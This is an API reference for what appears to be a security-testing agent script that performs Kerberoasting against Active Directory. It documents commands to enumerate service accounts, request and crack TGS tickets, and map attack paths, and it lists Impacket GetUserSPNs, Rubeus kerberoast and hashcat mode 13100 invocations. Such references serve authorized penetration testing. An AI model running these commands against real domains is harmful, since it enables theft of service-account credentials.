<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# exploiting-kerberoasting-vulnerabilities — API Reference

## Agent Script

| Command | Description |
|---------|-------------|
| `enumerate --domain <fqdn> --dc-ip <ip>` | Enumerate Kerberoastable service accounts |
| `crack --hash-file <path> --wordlist <path>` | Crack extracted TGS tickets |
| `analyze --domain <fqdn> --dc-ip <ip>` | Analyze results and map attack paths |

## Parameters

| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| `--domain` | string | Yes | Target AD domain FQDN |
| `--dc-ip` | string | Yes | Domain controller IP address |
| `--username` | string | No | Target specific service account |
| `--hash-file` | string | Yes (crack) | Path to extracted TGS hashes |
| `--wordlist` | string | No | Wordlist path (default: rockyou.txt) |

## Output Schema

```json
{
  "action": "enumerate",
  "domain": "corp.local",
  "commands": ["impacket-GetUserSPNs -request ..."],
  "status": "enumeration_configured"
}
```

## External Tool Reference

| Tool | Command | Purpose |
|------|---------|---------|
| Impacket | `impacket-GetUserSPNs -request -dc-ip <ip>` | Extract TGS tickets for SPNs |
| Rubeus | `Rubeus.exe kerberoast /outfile:hashes.txt` | Windows Kerberoasting |
| hashcat | `hashcat -m 13100 hashes.txt wordlist.txt` | Crack RC4 TGS tickets |
